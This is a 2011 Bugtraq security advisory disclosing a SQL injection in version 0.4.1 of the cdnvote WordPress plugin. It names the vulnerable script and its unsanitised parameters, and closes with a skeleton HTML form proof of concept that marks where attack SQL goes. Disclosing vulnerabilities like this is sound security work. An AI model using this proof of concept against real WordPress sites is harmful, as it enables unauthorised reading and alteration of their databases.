[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
HTB22845: SQL Injection in cdnvote wordpress plugin
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: HTB22845: SQL Injection in cdnvote wordpress plugin
- From: advisory@xxxxxxxxxxx
- Date: Tue, 22 Feb 2011 13:04:32 +0100 (CET)
Vulnerability ID: HTB22845
Reference:
http://www.htbridge.ch/advisory/sql_injection_in_cdnvote_wordpress_plugin.html
Product: cdnvote wordpress plugin
Vendor: Nakahira ( http://www.crossdrive.net/ )
Vulnerable Version: 0.4.1
Vendor Notification: 08 February 2011
Vulnerability Type: SQL Injection
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing
(http://www.htbridge.ch/)
Vulnerability Details:
The vulnerability exists due to failure in the
"/wp-content/plugins/cdnvote/cdnvote-post.php" script to properly sanitize
user-supplied input in "cdnvote_post_id" and "cdnvote_point" variables.
Attacker can alter queries to the application SQL database, execute arbitrary
queries to the database, compromise the application, access or modify sensitive
data, or exploit various vulnerabilities in the underlying SQL database.
The following PoC is available:
<form action="http://[host]/wp-content/plugins/cdnvote/cdnvote-post.php"
method="post" name="main" >
<input type="hidden" name="cdnvote_post_id" value="SQL_CODE_HERE" />
<input type="hidden" name="cdnvote_point" value="OR_HERE" />
<input type="submit" value="Register" name="submit" />
</form>